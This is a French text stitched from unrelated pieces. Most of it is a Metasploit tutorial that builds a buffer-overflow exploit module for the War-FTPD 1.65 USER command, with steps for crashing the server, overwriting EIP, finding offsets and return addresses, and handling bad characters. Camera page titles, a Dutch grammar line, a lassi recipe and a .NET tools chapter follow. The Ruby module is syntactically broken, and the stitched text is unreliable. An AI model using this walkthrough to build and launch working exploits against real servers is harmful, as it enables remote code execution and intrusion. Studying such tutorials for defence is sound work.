require 'msf/core'
 module Msf
 class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote #Les noms du module exploit et de la classe sont 'identiques'
 include Exploit::Remote::Ftp
 def initialize(info = {})
 super(update_info(info,
 'Name' => 'War-FTPD 1.65 Username Overflow',
 'Description' => %q{
 This module exploits a buffer overflow found in the USER command
 of War-FTPD 1.65.
 }, #Fin de Description
 'Author' => 'Votre Nom', #Changez cette valeur
 'License' => MSF_LICENSE,
 'Version' => '$Revision: 1 $',
 'References' => 
 [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
 #L'URL citée précédemment
 'DefaultOptions' => 
 'EXITFUNC' => 'process'
 'Payload' =>
 'Space' => 1000, #On ne connait pas encore la valeur exacte pour ceci
 'BadChars' => "\x00"
 #On ne connait pas encore la valeur exacte pour ceci
 'Targets' =>
 # Target 0
 'Notre Windows Cible',
 #Remplacez ceci par le type de votre Windows (par ex: Windows 2000 SP4)
 'Platform' => 'win', #On exploite une plate-forme Windows
 'Ret' => 0x01020304
 #On ne connait pas encore la valeur exacte pour ceci
 ]
 ) #Fin de update_info()
 ) #Fin de super()
 end #Fin de initialize
 def exploit
 connect
 print_status("Trying target #{target.name}...")
 exploit = 'A' * 1000 #On essaie de déclencher le bogue avec une longue chaîne de 1000 "A"
 send_cmd( ['USER', exploit] , false ) #On envoie notre chaîne malicieuse
 handler
 disconnect #On se déconnecte
 end #Fin de exploit
 end #Fin de class
 end #Fin de module
Le serveur WarFTPD est lancé (écoutant sur le port tcp 21 par défaut).
On lance maintenant la console du Framework Metasploit.
"(Démarrer / Programmes / Metasploit3 / MSFConsole)"
L'on peut maintenant voir notre exploit avec la commande :
show exploits
On lance alors notre exploit avec ces commandes :
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit
Après quelques secondes, l'on voit disparaître (planter) le serveur FTP WarFTPD Dameon.
Nous avons reproduit le bogue avec succès.
Déboguage.
Pour voir ce qui se passe quand le serveur plante, nous utilisons un débogueur.
Nous relançons WarFTPD Daemon et attachons notre débogueur à celui-ci.
=> Dans OllyDbg, on utilise "File/Attach", on choisit le processus WarFTPD, clic sur Run et une fois qu'il est lancé, on appuie sur F9 pour obtenir l'état Running.
Nous relançons notre exploit.
Nous pouvons alors regarder dans notre débogueur.
Nous voyons qu'une violation d'accès est déclenchée.
EIP est sur-écrit avec notre chaîne malicieuse (41414141 est l'équivalent hexadécimal pour AAAA)
Affinage.
Trouver l'espace disponible.
Nous devons trouver la quantité d'espace mémoire disponible pour y placer notre shellcode (payload).
Le Framework Metasploit inclut des outils pour nous aider.
D'abord, nous fermons notre débogueur.
On utilise la fonction PatternCreate() pour générer une chaîne de caractères alpha-numériques qui ne se répètent pas.
Nous générons une chaîne de 1000 caractères et l'utilisons dans notre exploit pour déclencher le bogue à nouveau.
Ensuite nous utilisons patternOffset pour connaitre le nombre de caractères à envoyer avant de sur-écrire EIP.
Trouver une adresse de retour.
Nous devons à présent trouver une adresse de retour fiable.
Là encore, le Framework Metasploit inclut des outils pour nous aider.
Nous pouvons utiliser 'msfpescan' pour chercher des adresses de retour pour des opcodes:
 $ ./framework/msfpescan
 Usage: ./framework/msfpescan [mode] <options> [targets]
 Modes:
 -j, --jump [regA,regB,regC] Search for jump equivalent instructions
 -p, --poppopret Search for pop+pop+ret combinations
 -r, --regex [regex] Search for regex match
 -a, --analyze-address [address] Display the code at the specified address
 -b, --analyze-offset [offset] Display the code at the specified offset
 -f, --fingerprint Attempt to identify the packer/compiler
 Options:
 -M, --memdump The targets are memdump.exe directories
 -A, --after [bytes] Number of bytes to show after match (-a/-b)
 -B, --before [bytes] Number of bytes to show before match (-a/-b
 -I, --image-base [address] Specify an alternate ImageBase
 -h, --help Show this message
L'on peut également utiliser la base de données d'Opcodes du MSF :
http://metasploit.com/users/opcode/msfopcode.cgi
Notez que le Framework Metasploit inclut également un client embarqué pour utiliser cette base de données :
http://metasploit.com/projects/Framework/msf3/msfopcode_fr.html
Traiter les caractères interdits.
Nous devons maintenant traiter les caractères interdits.
Nous devons pas inclure de caractère de terminaison de chaîne dans notre shellcode car cela interromperait son exécution.
"Nous avons déjà fait cela dans notre exploit : 'BadChars' => "\x00" "
De plus, une application cible modifie souvent les données reçues avant de les traiter.
Un exemple est une application qui va passer tous les caractères en majuscules.
Comme cela va modifier notre shellcode, nous devons traiter ce cas.
Pour cela, le Framework Metasploit va encoder notre shellcode pour en obtenir un ne contenant pas les caractères interdits spécifiés.
Nous avons seulement à lister les caractères interdits dans notre code d'exploit.

Photographie/Fabricants/Nikon/Nikon Coolpix S200

Photographie/Fabricants/Nikon/Nikon Coolpix P5000

Photographie/Fabricants/Canon/Canon EF 16-35 mm f/2,8 L USM

Photographie/Fabricants/Sigma/Sigma 18-200 mm f/3,5-6,3 DC OS

Commentaires.
Il existe une version moins chère sans stabilisation.

Photographie/Fabricants/Sony/Sony Cyber-shot DSC-W35

Néerlandais/Grammaire/le verbe
En néerlandais, tout comme en français, le verbe varie selon la personne, le temps, le mode, et la voix.

Livre de cuisine/Lassi
 __NOEDITSECTION__
Le lassi est une boisson traditionnelle indienne à base de fermenté ou de yaourt.
Le lassi peut être nature, sucré ou salé. Il est souvent aromatisé avec des s ou des épices.
Le lassi nature est obtenu en mixant 2 volumes de lait fermenté pour 1 volume d'eau. Il se sert très frais et se boit au cours du repas. Sa douceur est très apréciée pour calmer le "feu" des plats indiens très épicés.
Les lassis sucrés et salés se préparent de la même façon, en mixant les différents ingrédients ensemble. Ils sont généralement consommés en dehors des repas pour se rafraîchir.

Programmation .NET/Outils de développement

Ce chapitre présente les outils de développement pour la plateforme .Net.
La plateforme .Net.
Il faut bien évidemment disposer de la plateforme .Net (".Net framework" en anglais) pour pouvoir lancer et tester les applications développées.
La plateforme .Net est désormais fournie avec les récentes versions de Windows (XP, Vista et versions ultérieures). Différentes versions sont disponibles en téléchargement gratuit depuis le site de Microsoft :
Il existe deux versions de la plateforme appelées :
La version ".NET Framework SDK" est donc réservée aux développeurs. Les utilisateurs n'ont besoin que de la version ".NET Framework".
Liens :
L'environnement de développement.
Pour le développement, il est possible d'utiliser un éditeur de texte quelconque, et d'utiliser le compilateur en ligne de commande fourni avec la platforme .Net.
Cependant, un environnement intégré permet de développer plus rapidement les applications :
Liens :
Les outils de tests et de déboguage.
Microsoft Visual Studio, comme la plupart des environnements de développement intégré, possède les outils de déboguage de base :
Cependant, l'utilisation d'outils supplémentaires permet de repérer plus rapidement les problèmes, et d'effectuer des tests automatiques de l'application au cours du développement. Parmi ces outils :